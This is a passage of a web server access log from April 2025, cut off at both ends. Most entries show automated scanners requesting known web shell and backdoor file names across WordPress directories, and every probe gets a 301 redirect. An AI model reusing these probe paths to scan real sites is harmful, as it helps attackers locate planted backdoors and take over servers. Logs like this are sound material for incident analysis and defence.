HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:25 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:26 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:26 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:27 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:27 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:28 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:28 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:28 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:29 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:29 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:30 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:30 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:31 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:31 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:31 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:32 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:32 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:33 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:33 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:34 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:34 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:34 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:35 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:35 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:36 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:36 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:37 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:37 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:38 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:38 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:38 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:39 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:39 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:40 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:40 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:40 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:41 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:41 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:42 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:42 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:43 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:43 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:44 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:44 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:45 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:45 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:45 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:46 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:46 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:47 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:47 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:47 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:48 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:48 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:49 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:49 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:50 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:51 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:51 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:52 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:52 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:52 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:53 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:53 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:54 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:54 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:55 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 14.215.163.132 - - [29/Apr/2025:07:56:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.191.45.212 - - [29/Apr/2025:08:12:47 -0400] "GET / HTTP/1.1" 301 795 "http://www.designpitara.com/" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 13.82.176.166 - - [29/Apr/2025:08:23:23 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:23 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:24 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:24 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:25 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:25 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:25 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:25 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:26 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:26 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:26 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:27 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:27 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:27 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:28 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:28 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:29 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:29 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:29 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:30 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:30 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:31 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:31 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:31 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:32 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:32 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:33 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:33 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:34 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:34 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:34 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:35 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:35 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:35 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:35 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:36 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:36 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:36 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:36 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:37 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:37 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:37 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:38 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:38 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:38 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:39 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:39 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:40 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:40 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:40 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:41 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:41 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:42 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:42 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:42 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:43 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:43 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:43 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:44 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:44 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:44 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:44 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:45 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:45 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:45 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:46 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:46 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:46 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:47 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:47 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:48 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:48 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:48 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:49 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:49 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:50 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:50 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:50 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:51 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:51 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:51 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:52 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:52 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:52 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:52 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:53 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:53 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:53 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:54 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:54 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:54 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:55 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:55 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:55 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:55 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:56 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:56 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:56 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:57 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:57 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:57 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:58 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:58 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:58 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:59 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:23:59 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:00 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:00 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:01 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:01 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:01 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:01 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:02 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:02 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:03 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:03 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:03 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:04 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:04 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:05 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:05 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:05 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:06 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:06 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:06 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:07 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:07 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:08 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:09 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:10 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:10 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:10 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:10 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:11 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:11 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:11 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:12 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:12 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:13 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:13 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:13 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:14 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:14 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:15 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:15 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:15 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:16 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:16 -0400] "GET /class.api.php 